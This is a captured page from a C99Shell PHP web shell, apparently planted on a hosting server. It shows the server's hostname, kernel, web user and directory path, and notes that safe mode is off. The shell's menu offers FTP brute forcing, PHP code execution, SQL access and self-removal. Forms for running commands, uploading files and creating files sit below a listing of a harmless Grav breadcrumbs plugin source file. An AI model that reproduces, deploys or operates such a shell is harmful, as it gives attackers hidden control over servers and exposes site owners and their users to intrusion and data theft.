!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/aps/xcrud/plugins/select2-develop/docs/plugins/breadcrumbs/   drwxr-xr-x
Free 179.32 GB of 490.84 GB (36.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     breadcrumbs.php (1.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Grav\Plugin;

use \
Grav\Common\Plugin;

class 
BreadcrumbsPlugin extends Plugin
{
    
/**
     * @return array
     */
    
public static function getSubscribedEvents()
    {
        return [
            
'onPluginsInitialized' => ['onPluginsInitialized'0]
        ];
    }

    
/**
     * Initialize configuration
     */
    
public function onPluginsInitialized()
    {
        if (
$this->isAdmin()) {
            
$this->active false;
            return;
        }

        
$this->enable([
            
'onTwigTemplatePaths' => ['onTwigTemplatePaths'0],
            
'onTwigSiteVariables' => ['onTwigSiteVariables'0]
        ]);
    }

    
/**
     * Add current directory to twig lookup paths.
     */
    
public function onTwigTemplatePaths()
    {
        
$this->grav['twig']->twig_paths[] = __DIR__ '/templates';
    }

    
/**
     * Set needed variables to display breadcrumbs.
     */
    
public function onTwigSiteVariables()
    {
        require_once 
__DIR__ '/classes/breadcrumbs.php';

        
$this->grav['twig']->twig_vars['breadcrumbs'] = new Breadcrumbs($this->config->get('plugins.breadcrumbs'));

        if (
$this->config->get('plugins.breadcrumbs.built_in_css')) {
            
$this->grav['assets']->add('plugin://breadcrumbs/css/breadcrumbs.css');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0118 ]--